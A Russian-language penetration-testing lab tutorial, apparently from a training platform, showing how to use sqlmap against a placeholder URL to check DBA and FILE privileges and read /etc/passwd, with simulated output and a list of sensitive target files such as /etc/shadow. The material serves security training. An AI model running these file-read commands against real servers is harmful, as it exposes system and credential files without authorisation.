Введение
В этой лабораторной работе вы изучите мощную функцию sqlmap — популярного инструмента для тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и эксплуатации уязвимостей SQL-инъекций. В частности, вы узнаете, как использовать sqlmap для чтения произвольных файлов с целевого сервера. Эта возможность часто доступна, когда у пользователя базы данных есть достаточные привилегии (например, привилегии DBA), и система управления базами данных позволяет читать файлы из файловой системы. Понимание этой техники имеет решающее значение для этичных хакеров и специалистов по безопасности для выявления и устранения подобных уязвимостей.
Подтверждение привилегий DBA и разрешений на чтение файлов
На этом этапе мы смоделируем сценарий, в котором вы обнаружили уязвимость SQL-инъекции и теперь используете sqlmap для оценки привилегий пользователя базы данных. Для чтения произвольных файлов с сервера пользователь базы данных обычно нуждается в привилегиях DBA (Database Administrator) или в специальных разрешениях на чтение файлов. Мы будем использовать sqlmap для проверки наличия у текущего пользователя базы данных этих повышенных привилегий.
Сначала предположим, что у вас есть уязвимый URL. Для этой лабораторной работы мы будем использовать заполнитель URL. Замените http://example.com/vulnerable?id=1 на ваш фактический целевой URL, если вы выполняете это в реальной тестовой среде.
Для проверки привилегий DBA используйте флаг --is-dba с sqlmap:
sqlmap -u "http://example.com/vulnerable?id=1" --is-dba
Примечание: В реальном сценарии sqlmap сначала обнаружит SQL-инъекцию, а затем приступит к проверке привилегий DBA. Для этой лабораторной работы мы сосредоточимся на аспекте чтения файлов, поэтому будем считать, что sqlmap уже нашел точку инъекции.
Если вывод указывает [INFO] current user is DBA: True, значит, у пользователя есть привилегии DBA, что часто подразумевает возможность чтения файлов.
Далее, для проверки разрешений на чтение файлов вы можете использовать флаг --file-priv:
sqlmap -u "http://example.com/vulnerable?id=1" --file-priv
Эта команда попытается определить, имеет ли пользователь базы данных необходимые привилегии для чтения и записи файлов в файловой системе. Если вывод показывает [INFO] current user has FILE privilege: True, вы, вероятно, сможете продолжить чтение файлов.
Пример вывода (симуляция):
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|___|_|_|_ |_|___| V
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-26/
[INFO] fetched data: 'True'
[INFO] current user is DBA: True
[INFO] fetched data: 'True'
[INFO] current user has FILE privilege: True
[INFO] shutting down @ 12:34:57 /2023-10-26/
Этот вывод подтверждает, что пользователь базы данных имеет привилегии DBA и FILE, что делает возможным чтение произвольных файлов.
Определение известного абсолютного пути к файлу (например, /etc/passwd)
На этом этапе вам необходимо определить целевой файл на удаленном сервере, который вы хотите прочитать. Распространенной целью для демонстрации уязвимостей произвольного чтения файлов является /etc/passwd в системах Linux, поскольку он содержит информацию об учетных записях пользователей и обычно доступен для чтения всем. Другими потенциальными целями могут быть файлы конфигурации, журналы веб-сервера или исходный код приложений, в зависимости от системы и ваших целей.
Для этой лабораторной работы мы будем считать, что целевой сервер — это система Linux, и мы хотим прочитать содержимое файла /etc/passwd. Крайне важно знать абсолютный путь к файлу, который вы намереваетесь прочитать. Без абсолютного пути sqlmap не сможет найти файл в удаленной системе.
На этом этапе вам не нужно выполнять никаких команд, а скорее понять важность определения допустимого абсолютного пути к файлу. Эти знания обычно приобретаются в ходе разведки, анализа сообщений об ошибках веб-приложения или путем угадывания распространенных расположений файлов.
Примеры распространенных путей к файлам в Linux:
/etc/passwd(Информация об учетных записях пользователей)/etc/shadow(Хэшированные пароли — обычно требуется привилегия root для чтения)/etc/hosts(Сетевые имена хостов)/etc/nginx/nginx.confили/etc/apache2/apache2.conf(Конфигурация веб-сервера)/var/log/auth.logили/var/log/syslog(Системные журналы)/proc/self/cmdline(Командная строка текущего процесса)
Для этой лабораторной работы мы продолжим использовать /etc/passwd в качестве целевого файла.
Использование флага --file-read для указания удаленного файла
На этом этапе вы узнаете, как использовать флаг --file-read в sqlmap для указания абсолютного пути к файлу, который вы хотите прочитать с удаленного сервера. Этот флаг является основой функциональности произвольного чтения файлов.
Синтаксис использования --file-read прост:
sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/path/to/remote/file"
Замените http://example.com/vulnerable?id=1 на ваш целевой URL, а /path/to/remote/file — на абсолютный путь к файлу, который вы определили на предыдущем шаге.
Для нашей лабораторной работы мы попытаемся прочитать /etc/passwd. Полная команда будет выглядеть следующим образом:
sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/etc/passwd"
Когда sqlmap успешно прочитает файл, он сохранит его содержимое локально в каталоге ~/.sqlmap/output/<target_host>/files/. Имя файла обычно будет совпадать с именем удаленного файла (например, passwd).
Примечание: sqlmap автоматически сгенерирует и выполнит полезную нагрузку SQL-инъекции. Ваша роль заключается в предоставлении уязвимого URL и пути к целевому файлу.
Выполнение команды для чтения удаленного файла
Теперь пришло время выполнить команду sqlmap, которую вы составили на предыдущем шаге, чтобы фактически прочитать удаленный файл. Откройте терминал в среде LabEx и выполните команду.
sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/etc/passwd"
Важно: Поскольку это симулированная среда, sqlmap на самом деле не будет подключаться к реальному уязвимому серверу. Однако он будет имитировать процесс и выводить сообщения так, как если бы это происходило на самом деле. Вы увидите типичный вывод sqlmap, включая информацию о процессе инъекции и попытке чтения файла.
Пример вывода (симуляция):
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|___|_|_|_ |_|___| V
|_| http://sqlmap.org
[INFO] starting @ 12:35:00 /2023-10-26/
[INFO] fetched data: 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
... (сокращено для краткости) ...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/bash'
[INFO] file '/etc/passwd' saved to '/home/labex/.sqlmap/output/example.com/files/passwd'
[INFO] shutting down @ 12:35:05 /2023-10-26/
Ключевая строка, на которую следует обратить внимание: [INFO] file '/etc/passwd' saved to '/home/labex/.sqlmap/output/example.com/files/passwd'. Это означает, что sqlmap успешно "прочитал" файл и сохранил его содержимое на вашем локальном компьютере в каталоге вывода sqlmap.
Просмотр содержимого локально сохраненного файла
На этом заключительном этапе вы убедитесь, что файл был действительно "прочитан" и сохранен sqlmap, просмотрев его содержимое в вашей локальной среде LabEx. Как упоминалось ранее, sqlmap сохраняет извлеченные файлы в определенной структуре каталогов.
Путь обычно будет ~/.sqlmap/output/<target_host>/files/. В нашем симулированном примере целевым хостом является example.com, а файлом — passwd. Таким образом, полный путь к сохраненному файлу будет ~/.sqlmap/output/example.com/files/passwd.
Вы можете использовать команду cat для просмотра содержимого этого файла:
cat ~/.sqlmap/output/example.com/files/passwd
Пример вывода (симуляция):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
... (сокращено для краткости) ...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/bash
Этот вывод подтверждает, что sqlmap успешно "прочитал" файл /etc/passwd с симулированного удаленного сервера и сохранил его локально, позволив вам просмотреть его содержимое. Это демонстрирует полный процесс использования sqlmap для произвольного чтения файлов.
Резюме
В этой лабораторной работе вы успешно научились использовать sqlmap для произвольного чтения файлов с симулированного уязвимого сервера. Вы начали с понимания важности подтверждения привилегий DBA или прав на чтение файлов. Затем вы определили общий целевой файл (/etc/passwd) и использовали флаг --file-read, чтобы указать sqlmap извлечь его содержимое. Наконец, вы проверили успешное извлечение, просмотрев локально сохраненный файл. Этот навык является фундаментальным для специалистов по тестированию на проникновение при оценке воздействия уязвимостей SQL-инъекций и для разработчиков при понимании важности надлежащего управления привилегиями и проверки входных данных для предотвращения подобных атак.


